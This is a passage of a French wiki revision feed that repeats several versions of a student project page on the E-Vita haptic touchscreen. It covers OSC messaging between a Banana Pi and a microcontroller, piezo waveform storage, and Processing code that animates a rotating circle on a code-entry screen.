[[Fichier:Ligne_numero_6.png|500px|right]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37195</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37195"/>
				<updated>2017-01-10T18:08:21Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]]&lt;br /&gt;
[[Fichier:Ligne_numero_6.png|500px|right]]&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37194</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37194"/>
				<updated>2017-01-10T18:07:56Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne numero 1|500px|left]]&lt;br /&gt;
[[Fichier:Ligne numero 6|500px|right]]&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37193</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37193"/>
				<updated>2017-01-10T18:07:26Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
